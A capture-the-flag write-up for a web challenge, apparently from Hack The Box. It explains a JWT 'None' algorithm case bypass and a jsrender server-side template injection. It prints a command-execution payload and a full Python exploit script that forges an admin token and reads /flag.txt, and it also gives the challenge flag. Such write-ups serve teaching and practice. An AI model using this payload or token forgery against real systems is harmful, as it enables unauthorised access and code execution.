Category: Web
Difficulty: Medium
Description: You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.
Address: 142.93.38.14:30270
Attachments: web_didactic_octo_paddle.zip
If we visit the address we will see a login page that asks us for username and password and nothing else is present: Since we have also the source code of the website, let’s take a look into it.
From the Dockerfile we can see that the file containing the flag is located at /flag.txt
. From the sources we can see that the website is made using the javascript Express framework. If we take a look at the web_didactic_octo_paddle/challenge/routes/index.js
file we can see some interesting endpoints. First of all there is a /register
endpoint:
router.post("/register", async (req, res) => {
try {
const username = req.body.username;
const password = req.body.password;
if (!username || !password) {
return res
.status(400)
.send(response("Username and password are required"));
}
const existingUser = await db.Users.findOne({
where: { username: username },
});
if (existingUser) {
return res
.status(400)
.send(response("Username already exists"));
}
await db.Users.create({
username: username,
password: bcrypt.hashSync(password),
}).then(() => {
res.send(response("User registered succesfully"));
});
} catch (error) {
console.error(error);
res.status(500).send({
error: "Something went wrong!",
});
}
});
This means that, even if we don’t know any credential for the login page, we can register to create new ones and then log in. We can see that the username that we provide is directly stored without performing any additional check (apart that it must not be already registered). Then we can see another interesting endpoint called /admin
:
router.get("/admin", AdminMiddleware, async (req, res) => {
try {
const users = await db.Users.findAll();
const usernames = users.map((user) => user.username);
res.render("admin", {
users: jsrender.templates(`${usernames}`).render(),
});
} catch (error) {
console.error(error);
res.status(500).send("Something went wrong!");
}
});
It displays the username of every registered user. Since the variable containing the username is directly passed to the function that will render it in HTML, and we control its value (when we register a new user) we can control the code that will be rendered and transformed into HTML. So we can perform a Server Side Template Injection (SSTI). But, in order to do that we need to access this /admin
endpoint. From its code we can see that its access is regulated by the AdminMiddleware
function, which is located in the web_didactic_octo_paddle/challenge/middleware/AdminMiddleware.js
file. Let’s see what it does:
const AdminMiddleware = async (req, res, next) => {
try {
const sessionCookie = req.cookies.session;
if (!sessionCookie) {
return res.redirect("/login");
}
const decoded = jwt.decode(sessionCookie, { complete: true });
if (decoded.header.alg == 'none') {
return res.redirect("/login");
} else if (decoded.header.alg == "HS256") {
const user = jwt.verify(sessionCookie, tokenKey, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res.status(403).send("You are not an admin");
}
} else {
const user = jwt.verify(sessionCookie, null, {
algorithms: [decoded.header.alg],
});
if (
!(await db.Users.findOne({
where: { id: user.id, username: "admin" },
}))
) {
return res
.status(403)
.send({ message: "You are not an admin" });
}
}
} catch (err) {
return res.redirect("/login");
}
next();
};
It checks our session jwt token in this way:
- If we haven’t it, we will be redirected to the login page.
- Otherwise it tries to decode it and see the algorithm used to generate the token:
- If is
"none"
, again we will be redirected to the login page. - If is
"HS256"
, then it verify the signature of the token using a secret key, extract the user id associated to the token and search if it correspond to theadmin
user and, if it is so then access is granted, otherwise an error will be raised. - If the algorithm has other values that the ones specified, it again verify the signature of the token
without using any secret key
, extract the user id associated to the token and search if it correspond to theadmin
user and, if it is so then access is granted, otherwise an error will be raised.
- If is
So, since we don’t know the secret password used to sign the tokens, the only chance we have is to fall in the third case. We can try to use other algorithms, but all of them requires a key to be used for the verification, which the server doesn’t use. The perfect algorithm would be the none
(which doesn’t sign the token, so in the verification it would require no key), but we cannot use it… But, if we look more closely to the code, we can see that the check against the value of the algorithm used is done considering only lowercase letters, so if we specify it using, for example, a capital “N” instead of a lowercased one, we will fall back in the third case, and we will still be able to use the none
algorithm.
In order to do this we have to forge a custom token like the following one:
{
"alg": "None",
"typ": "JWT"
}
{
"id": ...
}
In the id
field of the payload part of the token we have to insert the id of the admin
user. By looking at the code we can see that, in the web_didactic_octo_paddle/challenge/utils/database.js
file it is defined the schema that represents a User
entity, and create the admin
user:
....
....
Database.Users = sequelize.define("user", {
id: {
type: Sequelize.INTEGER,
autoIncrement: true,
primaryKey: true,
allowNull: false,
unique: true,
},
username: {
type: Sequelize.STRING,
allowNull: false,
unique: true,
},
password: {
type: Sequelize.STRING,
allowNull: false,
},
});
....
....
Since the id
field has the attribute autoIncrement
set to true
, and the allowNull
attribute set to false
, we can guess that it starts assigning values starting from 1
, and since the admin
user is the first user that will be created (is the only one to be created), it will have an id equal to 1
. So our final craftet token will be:
{
"alg": "None",
"typ": "JWT"
}
{
"id": "1"
}
After this, we can exploit the SSTI to read the content of the /flag.txt
file and render it into HTML. To do this we need to register a new user with a username that will be correctly interpreted by the HTML render and execute arbitrary JavaScript commands to read the file. From the code that handle the /admin
endpoint that we have seen earlier we can see that the website uses a module called jsrender
to perform the rendering. With a quick online research I found here the payload for us:
{{:"".toString.constructor.call({},"return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag.txt\').toString()")()}}
This code will create a child process that executes the command cat /flag.txt
and transform the output into string, ready to be embedded into the final HTML. In order to automatize everything I worte the following python script:
#!/usr/bin/env python3
import requests
import base64
import jwt
ADDRESS = "142.93.38.14:30270"
def forge_jwt():
payload = {
"id": "1"
}
token = jwt.encode(
payload=payload,
key=None,
algorithm="none"
)
token = token.split('.')
token[0] = base64.b64decode(token[0] + '=').decode().split('=')[0]
token[0] = token[0].replace('"alg":"none"', '"alg":"None"') # with capital N
token[0] = base64.b64encode(token[0].encode()).decode().split('=')[0]
token = ".".join(token)
return token
def main():
s = requests.Session()
s.post(f"http://{ADDRESS}/register", json={
"username": '{{:"".toString.constructor.call({},"return global.process.mainModule.constructor._load(\'child_process\').execSync(\'cat /flag.txt\').toString()")()}}',
"password": "test"
}, headers={
"Content-Type": "application/json"
})
s.cookies.set('session', forge_jwt())
resp = s.get(f"http://{ADDRESS}/admin")
flag = resp.text.split('HTB{')[1]
flag = "HTB{" + flag.split('}')[0] + '}'
print(flag)
if __name__ == "__main__":
main()
And, finally, if we execute it:
$ chmod +x exploit.py
$ ./exploit.py
HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}